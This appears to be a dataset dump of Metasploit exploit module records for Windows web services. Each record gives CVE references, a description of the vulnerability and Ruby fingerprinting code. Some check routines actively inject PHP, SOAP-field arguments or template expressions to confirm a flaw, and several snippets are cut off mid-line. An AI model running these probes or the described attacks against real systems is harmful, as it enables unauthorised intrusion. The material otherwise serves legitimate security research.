deardaniel/secdata-raw huggingface dataset:
Metasploit Module: HP OpenView NNM nnmRptConfig nameParams Buffer Overflow
Type: exploit
Path: modules/exploits/windows/http/hp_nnm_nnmrptconfig_nameparams.rb
Platform: win
Disclosure date: 2011-01-10
References: CVE-2011-0266, OSVDB-70473, ZDI-11-008

Description:
This module exploits a vulnerability in HP NNM's nnmRptConfig.exe.
          A remote user can send a long string data to the nameParams parameter via
          a POST request, which causes an overflow on the stack when function
          ov.sprintf_new() is used, and gain arbitrary code execution.'
Metasploit Module: File Sharing Wizard - POST SEH Overflow
Type: exploit
Path: modules/exploits/windows/http/file_sharing_wizard_seh.rb
Platform: win
Disclosure date: 2019-09-24

Description:
This module exploits an unauthenticated HTTP POST SEH-based buffer overflow in File Sharing Wizard 1.5.0.

Check method (fingerprinting):
res = send_request_cgi
    if res.nil?
      fail_with(Failure::Unreachable, 'Connection timed out.')
    end
    # Checks for the `WWW-Authenticate` header in the response
    if res.code && res.code == 401 && res.headers['WWW-Authenticate'].include?('Basic realm="File Sharing Wizard"')
      CheckCode::Detected('Target service detected')
    else
      CheckCode::Safe('Target is not vulnerable')
    end
  end
Metasploit Module: D-Link Central WiFi Manager CWM(100) RCE
Type: exploit
Path: modules/exploits/windows/http/dlink_central_wifimanager_rce.rb
Platform: %w[php
Disclosure date: 2019-07-09
References: CVE-2019-13372, URL-https://unh3x.github.io/2019/02/21/D-link-(CWM-100)-Multiple-Vulnerabilities/

Description:
This module exploits a PHP code injection vulnerability in D-Link Central WiFi Manager CWM(100)
          versions below `v1.03R0100_BETA6`. The vulnerability exists in the
          username cookie, which is passed to `eval()` without being sanitized.
          Dangerous functions are not disabled by default, which makes it possible
          to get code execution on the target.

Check method (fingerprinting):
rand_text = Rex::Text.rand_text_alphanumeric(rand(4..10))
    if inject_php("echo \"#{rand_text}\"")&.chomp == rand_text
      return Exploit::CheckCode::Vulnerable('Target is vulnerable')
    end

    Exploit::CheckCode::Unknown('Could not determine the target status')
  end
Metasploit Module: HP ProCurve Manager SNAC UpdateCertificatesServlet File Upload
Type: exploit
Path: modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb
Platform: win
Disclosure date: 2013-09-09
References: CVE-2013-4812, OSVDB-97155, BID-62348, ZDI-13-225

Description:
This module exploits a path traversal flaw in the HP ProCurve Manager SNAC Server. The
          vulnerability in the UpdateCertificatesServlet allows an attacker to upload arbitrary
          files, just having into account binary writes aren't allowed. Additionally, authentication
          can be bypassed in order to upload the file. This module has been tested successfully on
          the SNAC server installed with HP ProCurve Manager 4.0.

Check method (fingerprinting):
session = get_session
    if session.nil?
      return Exploit::CheckCode::Safe('Target is not vulnerable')
    end

    res = send_request_cgi({
      'uri' => "/RegWeb/RegWeb/GetCertificateStatusServlet",
      'cookie' => session
    })

    if res and res.code == 200 and res.body =~ /"success":"true"/
      return Exploit::CheckCode::Appears('Target appears to be vulnerable')
    end

    return Exploit::CheckCode::Safe('Target is not vulnerable')
  end
Metasploit Module: Microsoft SharePoint Unsafe Control and ViewState RCE
Type: exploit
Path: modules/exploits/windows/http/sharepoint_unsafe_control.rb
Platform: win
Disclosure date: 2021-05-11
References: CVE-2021-31181, ZDI-21-573, URL-https://www.zerodayinitiative.com/blog/2021/6/1/cve-2021-31181-microsoft-sharepoint-webpart-interpretation-conflict-remote-code-execution-vulnerability
Targets: Windows Command, Windows Dropper, PowerShell Stager

Description:
The EditingPageParser.VerifyControlOnSafeList method fails to properly validate user supplied data. This
          can be leveraged by an attacker to leak sensitive information in rendered-preview content. This module will
          leak the ViewState validation key and then use it to sign a crafted object that will trigger code execution
          when deserialized.

          Tested against SharePoint 2019 and SharePoint 2016, both on Windows Server 2016.

Check method (fingerprinting):
build = sharepoint_get_version('cookie' => cookie)

    if build.nil?
      return CheckCode::Unknown('Failed to retrieve the SharePoint version number')
    end

    if vuln_builds.any? { |build_range| build.between?(*build_range) }
      return CheckCode::Appears("SharePoint #{build} is a vulnerable build.")
    end

    CheckCode::Safe("SharePoint #{build} is not a vulnerable build.")
  end
Metasploit Module: RabidHamster R4 Log Entry sprintf() Buffer Overflow
Type: exploit
Path: modules/exploits/windows/http/rabidhamster_r4_log.rb
Platform: win
Disclosure date: 2012-02-09
References: CVE-2012-10058, OSVDB-79007, URL-http://aluigi.altervista.org/adv/r4_1-adv.txt

Description:
This module exploits a vulnerability found in RabidHamster R4's web server.
          By supplying a malformed HTTP request, it is possible to trigger a stack-based
          buffer overflow when generating a log, which may result in arbitrary code
          execution under the context of the user.

Check method (fingerprinting):
res = send_request_cgi({
      'method' => 'GET',
      'uri' => '/'
    })

    if res and res.headers['Server'] == 'R4 Embedded Server'
      return Exploit::CheckCode::Detected('Target service detected')
    else
      return Exploit::CheckCode::Safe('Target service was not detected')
    end
  end
Metasploit Module: BEA WebLogic JSESSIONID Cookie Value Overflow
Type: exploit
Path: modules/exploits/windows/http/bea_weblogic_jsessionid.rb
Platform: win
Disclosure date: 2009-01-13
Authors: pusscat
References: CVE-2008-5457, OSVDB-51311

Description:
This module exploits a buffer overflow in BEA's WebLogic plugin. The vulnerable
          code is only accessible when clustering is configured. A request containing a
          long JSESSION cookie value can lead to arbitrary code execution.
Metasploit Module: BadBlue 2.5 EXT.dll Buffer Overflow
Type: exploit
Path: modules/exploits/windows/http/badblue_ext_overflow.rb
Platform: win
Disclosure date: 2003-04-20
Authors: acaro <acaro[at]jervus.it>
References: CVE-2005-0595, OSVDB-14238, BID-7387

Description:
This is a stack buffer overflow exploit for BadBlue version 2.5.

Check method (fingerprinting):
info = http_fingerprint # check method
    if (info =~ /BadBlue\/2\.5/)
      return Exploit::CheckCode::Appears('Target appears to be vulnerable')
    end

    Exploit::CheckCode::Safe('Target is not vulnerable')
  end
Metasploit Module: SAP NetWeaver HostControl Command Injection
Type: exploit
Path: modules/exploits/windows/http/sap_host_control_cmd_exec.rb
Platform: win
Disclosure date: Aug 14 2012
References: OSVDB-84821, URL-http://www.contextis.com/research/blog/sap4/, URL-https://websmp130.sap-ag.de/sap/support/notes/1341333

Description:
This module exploits a command injection vulnerability in the SAPHostControl
        Service, by sending a specially crafted SOAP request to the management console.

        In order to deal with the spaces and length limitations, a WebDAV service is
        created to run an arbitrary payload when accessed as a UNC path. Because of this,
        the target host must have the WebClient service (WebDAV Mini-Redirector) enabled.
        It is enabled and automatically started by default on Windows XP SP3, but disabled
        by default on Windows 2003 SP2.

Check method (fingerprinting):
soap = <<~eos
      <?xml version="1.0" encoding="utf-8"?>
      <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema">
        <SOAP-ENV:Header>
          <sapsess:Session xmlns:sapsess="http://www.sap.com/webas/630/soap/features/session/">
            <enableSession>true</enableSession>
          </sapsess:Session>
        </SOAP-ENV:Header>
        <SOAP-ENV:Body>
          <ns1:GetDatabaseStatus xmlns:ns1='urn:SAPHostControl'>
            <aArguments>
              <item>
                <mKey>Database/Type</mKey>
                <mValue>ada</mValue>
              </item>
              <item>
                <mKey>Database/Password</mKey>
                <mValue>#{rand_text_alphanumeric(8)}</mValue>
              </item>
              <item>
                <mKey>Database/Username</mKey>
                <mValue>control</mValue>
              </item>
              <item>
                <mKey>Database/Name</mKey>
                <mValue>NSP \-o c:\\#{rand_text_alpha_lower(4)}.txt \-n #{rand_text_alpha_lower(8)}
      !#{rand_text_alpha_lower(8)}
      </mValue>
              </item>
            </aArguments>
          </ns1:GetDatabaseStatus>
        </SOAP-ENV:Body>
      </SOAP-ENV:Envelope>
    eos

    print_status("Testing command injection...")

    res = send_request_cgi({
      'uri' => '/',
      'method' => 'POST',
      'ctype' => 'text/xml;
Metasploit Module: Solarwinds Storage Manager 5.1.0 SQL Injection
Type: exploit
Path: modules/exploits/windows/http/solarwinds_storage_manager_sql.rb
Platform: win
Disclosure date: 2011-12-07
References: OSVDB-81634, EDB-18818, URL-http://ddilabs.blogspot.com/2012/02/solarwinds-storage-manager-server-sql.html, URL-http://www.solarwinds.com/documentation/storage/storagemanager/docs/ReleaseNotes/vulnerability.htm

Description:
This module exploits a SQL injection found in Solarwinds Storage Manager
          login interface.  It will send a malicious SQL query to create a JSP file
          under the web root directory, and then let it download and execute our malicious
          executable under the context of SYSTEM.

Check method (fingerprinting):
res = send_request_raw({
      'method' => 'GET',
      'uri' => '/LoginServlet'
    })

    if res and res.body =~ /\<title>\SolarWinds \- Storage Manager\<\/title\>/ and
       res.body =~ /\<img style="padding\-top:30px;" src="\/images\/logo_solarwinds_login\.png" width="163" height="70" alt="SolarWinds Storage Manager"\>/
      return Exploit::CheckCode::Detected('Target service detected')
    else
      return Exploit::CheckCode::Safe('Target is not vulnerable')
    end
  end

  #
  # Remove the JSP once we get a shell.
  # We cannot delete the executable because it will still be in use.
  #
Metasploit Module: VX Search Enterprise GET Buffer Overflow
Type: exploit
Path: modules/exploits/windows/http/vxsrchs_bof.rb
Platform: win
Disclosure date: 2017-03-15
References: CVE-2017-13708

Description:
This module exploits a stack-based buffer overflow vulnerability
          in the web interface of VX Search Enterprise v9.5.12, caused by
          improper bounds checking of the request path in HTTP GET requests
          sent to the built-in web server. This module has been tested
          successfully on Windows 7 SP1 x86.

Check method (fingerprinting):
res = send_request_cgi(
      'method' => 'GET',
      'uri' => '/'
    )

    if res && res.code == 200
      version = res.body[/VX Search Enterprise v[^<]*/]
      if version
        vprint_status("Version detected: #{version}")
        if version =~ /9\.5\.12/
          return Exploit::CheckCode::Appears("Detected vulnerable version: #{version}")
        end

        return Exploit::CheckCode::Detected("Target detected with version: #{version}")
      end
    else
      vprint_error('Unable to determine due to a HTTP connection timeout')
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    Exploit::CheckCode::Safe('VX Search Enterprise not detected')
  end
Metasploit Module: AjaxPro Deserialization Remote Code Execution
Type: exploit
Path: modules/exploits/windows/http/ajaxpro_deserialization_rce.rb
Platform: win
Disclosure date: 2021-12-03
References: CVE-2021-23758, URL-https://mogwailabs.de/en/blog/2022/01/vulnerability-spotlight-rce-in-ajax.net-professional/
Targets: Windows Command, Windows Dropper

Description:
This module leverages an insecure deserialization of data to get
          remote code execution on the target OS in the context of the user
          running the website which utilized AjaxPro.

          To achieve code execution, the module will construct some JSON data
          which will be sent to the target. This data will be deserialized by
          the AjaxPro JsonDeserializer and will trigger the execution of the
          payload.

          All AjaxPro versions prior to 21.10.30.1 are vulnerable to this
          issue, and a vulnerable method which can be used to trigger the
          deserialization exists in the default AjaxPro namespace.

          AjaxPro 21.10.30.1 removed the vulnerable method, but if a custom
          method that accepts a parameter of type that is assignable from
          `ObjectDataProvider` (e.g. `object`) exists, the vulnerability can
          still be exploited.

          This module has been tested successfully against official AjaxPro on
          version 7.7.31.1 without any modification, and on version 21.10.30.1
          with a custom vulnerable method added.

Check method (fingerprinting):
res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'core.ashx'),
      'keep_cookies' => true
    )
    unless res
      return CheckCode::Unknown("Target did not respond to #{normalize_uri(target_uri.path, 'core.ashx')}")
    end

    unless res.code == 200 && res.headers['Content-Type'].include?('application/x-javascript')
      return CheckCode::Safe('Is not AjaxPro?')
    end

    unless (cap = res.body.match(/ID: ?"(\S+?)",/).captures)
      return CheckCode::Detected('Failed to get AjaxPro ID.')
    end

    @ajax_pro[:ID] = cap[0]

    unless (cap = res.body.match(/version: ?"(\S+?)",/).captures)
      return CheckCode::Detected('Failed to get AjaxPro version.')
    end

    @ajax_pro[:version] = cap[0]

    if Rex::Version.new(@ajax_pro[:version]) >= Rex::Version.new('21.10.30.1')
      return CheckCode::Safe("AjaxPro version #{@ajax_pro[:version]} is not vulnerable.")
    end

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, datastore['Namespace'] + '.ashx'),
      'keep_cookies' => true
    )
    unless res
      return CheckCode::Appears('Failed to check if the target method exists.')
    end

    unless res.code == 200 && res.body.match(/#{datastore['Method']}: ?function ?\((\S+?, ?)*#{datastore['Parameter']}(, ?\S+?)*\) ?\{/)
      return CheckCode::Appears("But method '#{datastore['Method']}' with parameter '#{datastore['Parameter']}' was not found in namespace '#{datas
Metasploit Module: DotNetNuke Cookie Deserialization Remote Code Excecution
Type: exploit
Path: modules/exploits/windows/http/dnn_cookie_deserialization_rce.rb
Platform: win
Disclosure date: 2017-07-20
References: CVE-2017-9822, CVE-2018-15811, CVE-2018-15812, CVE-2018-18325, CVE-2018-18326, URL-https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf, URL-https://googleprojectzero.blogspot.com/2017/04/exploiting-net-managed-dcom.html, URL-https://github.com/pwntester/ysoserial.net

Description:
This module exploits a deserialization vulnerability in DotNetNuke (DNN) versions 5.0.0 to 9.3.0-RC.
          Vulnerable versions store profile information for users in the DNNPersonalization cookie as XML.
          The expected structure includes a "type" attribute to instruct the server which type of object to create on deserialization.
          The cookie is processed by the application whenever it attempts to load the current user's profile data.
          This occurs when DNN is configured to handle 404 errors with its built-in error page (default configuration).
          An attacker can leverage this vulnerability to execute arbitrary code on the system.

Check method (fingerprinting):
if target.name == 'Automatic'
      select_target
    end

    @target_idx = Integer(datastore['TARGET'])

    if @target_idx == 0
      fail_with(Failure::NoTarget, 'No valid target found or specified.')
    end

    # Check if 404 page is custom or not.
    # Vulnerability requires custom 404 handling (enabled by default).
    uri = normalize_uri(target_uri.path)
    print_status("Checking for custom error page at: #{uri} ...")
    res = send_request_cgi(
      'uri' => uri
    )

    if res.code == 404 && !res.body.include?('Server Error') && res.to_s.length > 1600
      print_good('Custom error page detected.')
    else
      print_error('IIS Error Page detected.')
      return Exploit::CheckCode::Safe('Target is not vulnerable')
    end
    return Exploit::CheckCode::Appears('Target appears to be vulnerable')
  end

  # ===========================
  # Auto-select target version
  # ===========================
Metasploit Module: ManageEngine Desktop Central AgentLogUpload Arbitrary File Upload
Type: exploit
Path: modules/exploits/windows/http/desktopcentral_file_upload.rb
Platform: win
Disclosure date: 2013-11-11
References: CVE-2013-7390, OSVDB-100008, URL-http://security-assessment.com/files/documents/advisory/Desktop%20Central%20Arbitrary%20File%20Upload.pdf, URL-https://seclists.org/fulldisclosure/2013/Nov/130

Description:
This module exploits an arbitrary file upload vulnerability in Desktop Central v7 to
          v8 build 80293. A malicious user can upload a JSP file into the web root without
          authentication, leading to arbitrary code execution as SYSTEM.

Check method (fingerprinting):
res = send_request_cgi({
      'uri' => normalize_uri("configurations.do"),
      'method' => 'GET'
    })

    if res && res.code == 200
      build = nil

      if res.body.to_s =~ /ManageEngine Desktop Central 7/ ||
         res.body.to_s =~ /ManageEngine Desktop Central MSP 7/ # DC v7

        print_status("Detected Desktop Central v7")
      elsif res.body.to_s =~ /ManageEngine Desktop Central 8/ ||
            res.body.to_s =~ /ManageEngine Desktop Central MSP 8/

        if res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/  # DC v8 (later versions)
          build = $1
          print_status("Detected Desktop Central v8 #{build}")
        else                                                     # DC v8 (earlier versions)
          print_status("Detected Desktop Central v8")
        end
      elsif res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ # DC v9 (and higher?)
        build = $1
      end

      if build.nil?
        return Exploit::CheckCode::Unknown('Could not determine the target status')
      elsif Rex::Version.new(build) < Rex::Version.new("80293")
        return Exploit::CheckCode::Appears("Detected vulnerable version: #{build}")
      else
        return Exploit::CheckCode::Safe("Target is not vulnerable based on version: #{build}")
      end
    end

    Exploit::CheckCode::Unknown('Could not determine the target status')
  end
Metasploit Module: JIRA Issues Collector Directory Traversal
Type: exploit
Path: modules/exploits/windows/http/jira_collector_traversal.rb
Platform: win
Disclosure date: 2014-02-26
References: CVE-2014-2314, OSVDB-103807, BID-65849, URL-https://confluence.atlassian.com/display/JIRA/JIRA+Security+Advisory+2014-02-26, URL-http://blog.h3xstream.com/2014/02/jira-path-traversal-explained.html
Targets: Jira 6.0.3 / Windows 2003 SP2

Description:
This module exploits a directory traversal flaw in JIRA 6.0.3. The vulnerability exists
          in the issues collector code, while handling attachments provided by the user. It can be
          exploited in Windows environments to get remote code execution. This module has been tested
          successfully on JIRA 6.0.3 with Windows 2003 SP2 Server.

Check method (fingerprinting):
res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'login.jsp'),
    })

    if res and res.code == 200 and res.body =~ /<meta name="application-name" content="JIRA" data-name="jira" data-version="([0-9\.]*)">/
      version = $1
    else
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    if version <= "6.0.3"
      return Exploit::CheckCode::Detected("Target detected with version: #{version}")
    end

    return Exploit::CheckCode::Safe("Target is not vulnerable based on version: #{version}")
  end
Metasploit Module: Rejetto HTTP File Server (HFS) Unauthenticated Remote Code Execution
Type: exploit
Path: modules/exploits/windows/http/rejetto_hfs_rce_cve_2024_23692.rb
Platform: win
Disclosure date: 2024-05-25
References: CVE-2024-23692, URL-https://mohemiv.com/all/rejetto-http-file-server-2-3m-unauthenticated-rce/

Description:
The Rejetto HTTP File Server (HFS) version 2.x is vulnerable to an unauthenticated server side template
          injection (SSTI) vulnerability. A remote unauthenticated attacker can execute code with the privileges
          of the user account running the HFS.exe server process. This exploit has been tested to work against version
          2.4.0 RC7 and 2.3m. The Rejetto HTTP File Server (HFS) version 2.x is no longer supported by the maintainers
          and no patch is available. Users are recommended to upgrade to newer supported versions.

Check method (fingerprinting):
cookie_name = Rex::Text.rand_text_alphanumeric(32)
    cookie_value = Rex::Text.rand_text_alphanumeric(32)

    # Our check routine will leverage the SSTI vulnerability and use it to read a cookie value by its name, writing
    # this value to the response output. In addition we will write the current server version into the response output.
    # We can therefore verify if a target is vulnerable by first confirming the expected cookie value is now present
    # in the response output, and if so we can also pull out the target servers version number.
    res = send_ssti_request_cgi(
      "{.cookie|#{cookie_name}.}=%version%=",
      {
        'headers' => {
          'Cookie' => "#{cookie_name}=#{cookie_value}"
        }
      }
    )

    return CheckCode::Unknown('Connection failed') unless res

    return CheckCode::Unknown("Received unexpected HTTP status code: #{res.code}.") unless res.code == 200

    version = res.body.match(/#{cookie_value}=([^=]+)=/)

    return CheckCode::Vulnerable("Rejetto HFS version #{version[1]}") if version

    CheckCode::Safe('Rejetto HFS not detected or not vulnerable')
  end